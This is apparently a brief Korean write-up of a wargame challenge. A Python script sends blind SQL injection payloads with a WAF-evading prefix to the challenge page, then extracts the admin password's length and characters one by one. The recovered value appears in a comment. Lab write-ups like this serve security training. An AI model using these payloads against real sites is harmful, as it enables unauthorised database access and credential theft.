첫 화면이다.
파이썬 코드를 짜면 아래와 같다.
import requests
URL = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?id='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'
def query(payload):
cookies = {'PHPSESSID': PHPSESSID}
r = requests.get(URL + payload, cookies=cookies)
content = r.text
return TRUE_PHRASE in content
# 8
def find_pw_length():
pw_len = 1
while query("'<@ or id='admin' and length(pw)={} or '".format(pw_len)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# a18a6cc5
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in range(0, 128):
if query("'<@ or id='admin' and ord(substr(pw,{},1))={} or '".format(pos, character)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
find_pw()
